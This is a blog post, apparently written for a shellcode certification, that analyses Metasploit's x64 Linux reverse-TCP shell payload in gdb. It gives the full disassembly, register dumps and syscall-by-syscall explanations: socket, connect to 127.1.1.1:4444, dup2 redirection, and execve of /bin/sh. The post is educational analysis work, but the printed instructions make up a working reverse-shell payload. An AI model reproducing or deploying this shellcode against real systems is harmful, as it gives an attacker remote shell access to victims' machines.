Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse/shellcode
Shellcode Length: 17
Breakpoint 1, 0x0000000000601060 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>: push 0x29
0x0000000000601062 <+2>: pop rax
0x0000000000601063 <+3>: cdq
0x0000000000601064 <+4>: push 0x2
0x0000000000601066 <+6>: pop rdi
0x0000000000601067 <+7>: push 0x1
0x0000000000601069 <+9>: pop rsi
0x000000000060106a <+10>: syscall
0x000000000060106c <+12>: xchg rdi,rax
0x000000000060106e <+14>: movabs rcx,0x101017f5c110002
0x0000000000601078 <+24>: push rcx
0x0000000000601079 <+25>: mov rsi,rsp
0x000000000060107c <+28>: push 0x10
0x000000000060107e <+30>: pop rdx
0x000000000060107f <+31>: push 0x2a
0x0000000000601081 <+33>: pop rax
0x0000000000601082 <+34>: syscall
0x0000000000601084 <+36>: push 0x3
0x0000000000601086 <+38>: pop rsi
0x0000000000601087 <+39>: dec rsi
0x000000000060108a <+42>: push 0x21
0x000000000060108c <+44>: pop rax
0x000000000060108d <+45>: syscall
0x000000000060108f <+47>: jne 0x601087 <code+39>
0x0000000000601091 <+49>: push 0x3b
0x0000000000601093 <+51>: pop rax
0x0000000000601094 <+52>: cdq
0x0000000000601095 <+53>: movabs rbx,0x68732f6e69622f
0x000000000060109f <+63>: push rbx
0x00000000006010a0 <+64>: mov rdi,rsp
0x00000000006010a3 <+67>: push rdx
0x00000000006010a4 <+68>: push rdi
0x00000000006010a5 <+69>: mov rsi,rsp
0x00000000006010a8 <+72>: syscall
0x00000000006010aa <+74>: add BYTE PTR [rax],al
---Type <return> to continue, or q <return> to quit---
End of assembler dump.
We can see from the instructions that 4 syscalls are going to be executed and in order to identify their numbers and arguments we put breakpoints before each execution (0x000000000060106a
, 0x0000000000601082
, 0x000000000060108d
and 0x00000000006010a8
). Then, we continue the execution of the program and check the contents of the registers.
1
2
3
4
5
6
7
8
(gdb) break *0x000000000060106a
Breakpoint 2 at 0x60106a
(gdb) break *0x0000000000601082
Breakpoint 3 at 0x601082
(gdb) break *0x000000000060108d
Breakpoint 4 at 0x60108d
(gdb) break *0x00000000006010a8
Breakpoint 5 at 0x6010a8
1st syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 2, 0x000000000060106a in code ()
(gdb) info registers
rax 0x29 41
rbx 0x0 0
rcx 0x7fffffeb 2147483627
rdx 0x0 0
rsi 0x1 1
rdi 0x2 2
rbp 0x7fffffffdc40 0x7fffffffdc40
rsp 0x7fffffffdc28 0x7fffffffdc28
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x246 582
r12 0x400470 4195440
r13 0x7fffffffdd20 140737488346400
r14 0x0 0
r15 0x0 0
rip 0x60106a 0x60106a <code+10>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 41
(RAX
register) is socket
. It takes 3 arguments (domain
, type
and protocol
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 2
because of the AF_INET
address family (IPv4). RSI
has the value 1
because this is a TCP socket (SOCK_STREAM
). RDX
has the value 0
because a single protocol is supported on a particular socket.
2nd syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 3, 0x0000000000601082 in code ()
(gdb) info registers
rax 0x2a 42
rbx 0x0 0
rcx 0x101017f5c110002 72340715531730946
rdx 0x10 16
rsi 0x7fffffffdc20 140737488346144
rdi 0x3 3
rbp 0x7fffffffdc40 0x7fffffffdc40
rsp 0x7fffffffdc20 0x7fffffffdc20
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x306 774
r12 0x400470 4195440
r13 0x7fffffffdd20 140737488346400
r14 0x0 0
r15 0x0 0
rip 0x601082 0x601082 <code+34>
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 42
(RAX
register) is connect
. It takes 3 arguments (sockfd
, addr
, addrlen
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 3
since this is the return value (file descriptor) from the socket
syscall execution. RSI
has the value 0x7fffffffdc20
because it is the memory address of the struct that contains the protocol family value, the port and the interface to listen on. We can disassemble the program at this point in order to view those values.
1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) disassemble
Dump of assembler code for function code:
<snip>
0x000000000060106c <+12>: xchg rdi,rax
0x000000000060106e <+14>: movabs rcx,0x101017f5c110002
0x0000000000601078 <+24>: push rcx
0x0000000000601079 <+25>: mov rsi,rsp
0x000000000060107c <+28>: push 0x10
0x000000000060107e <+30>: pop rdx
0x000000000060107f <+31>: push 0x2a
0x0000000000601081 <+33>: pop rax
=> 0x0000000000601082 <+34>: syscall
<snip>
The quad word 0x101017f5c110002
becomes the value at the RCX
register and is then pushed to the stack. The following values are represented in little endian format:
0x101017f
:127.1.1.1
in decimal which is the address we provided5c11
:4444
in decimal which is the port to connect to2
which is the protocol family
Also, RDX
has the value 16
because this is the size of the address struct.
3rd syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 4, 0x000000000060108d in code ()
(gdb) info registers
rax 0x21 33
rbx 0x0 0
rcx 0x400474 4195444
rdx 0x10 16
rsi 0x2 2
rdi 0x3 3
rbp 0x7fffffffdc40 0x7fffffffdc40
rsp 0x7fffffffdc20 0x7fffffffdc20
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x306 774
r12 0x400470 4195440
r13 0x7fffffffdd20 140737488346400
r14 0x0 0
r15 0x0 0
rip 0x60108d 0x60108d <code+45>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
By disassembling the program we can see that there is a loop executing the dup2
syscall (number 33
) in order to redirect everything to the socket connected. This syscall takes 2 arguments: oldfd
and newfd
. oldfd
is the return value from the socket
syscall (RDI
register) and RSI
has the values 2
, 1
and 0
in each dup2
execution for STDERR
, STDOUT
and STDIN
respectively.
1
2
3
4
5
6
7
8
9
10
11
(gdb) disassemble
Dump of assembler code for function code:
<snip>
0x0000000000601084 <+36>: push 0x3
0x0000000000601086 <+38>: pop rsi
0x0000000000601087 <+39>: dec rsi
0x000000000060108a <+42>: push 0x21
0x000000000060108c <+44>: pop rax
=> 0x000000000060108d <+45>: syscall
0x000000000060108f <+47>: jne 0x601087 <code+39>
<snip>
4th syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.
Breakpoint 5, 0x00000000006010a8 in code ()
(gdb) info registers
rax 0x3b 59
rbx 0x68732f6e69622f 29400045130965551
rcx 0x400474 4195444
rdx 0x0 0
rsi 0x7fffffffdc08 140737488346120
rdi 0x7fffffffdc18 140737488346136
rbp 0x7fffffffdc40 0x7fffffffdc40
rsp 0x7fffffffdc08 0x7fffffffdc08
r8 0x0 0
r9 0x15 21
r10 0x0 0
r11 0x346 838
r12 0x400470 4195440
r13 0x7fffffffdd20 140737488346400
r14 0x0 0
r15 0x0 0
rip 0x6010a8 0x6010a8 <code+72>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
The syscall with number 59
(RAX
register) is execve
. It takes 3 arguments (filename
, argv[]
and envp[]
) that are located in RDI
, RSI
and RDX
respectively. RDI
has the value 0x7fffffffdc18
because it is the memory address for the program to run, which is “/bin/sh”. We can examine that memory location as a string to verify that.
1
2
(gdb) x/s 0x7fffffffdc18
0x7fffffffdc18: "/bin/sh"
RSI
has the value 0x7fffffffdc08
because it points to the memory location of the string “/bin/sh”. RDX
has the value 0
because there isn’t an array of strings that is passed as environment to the new program.
The analysis of the linux/x64/shell_reverse_tcp
payload is over and the shellcode is working!
Summary
All the payloads (exec
, shell_bind_tcp
, shell_reverse_tcp
) were analyzed thoroughly.
Next will be the polymorphic shellcodes!
SLAE64 Blog Post
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=7
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: PA-36167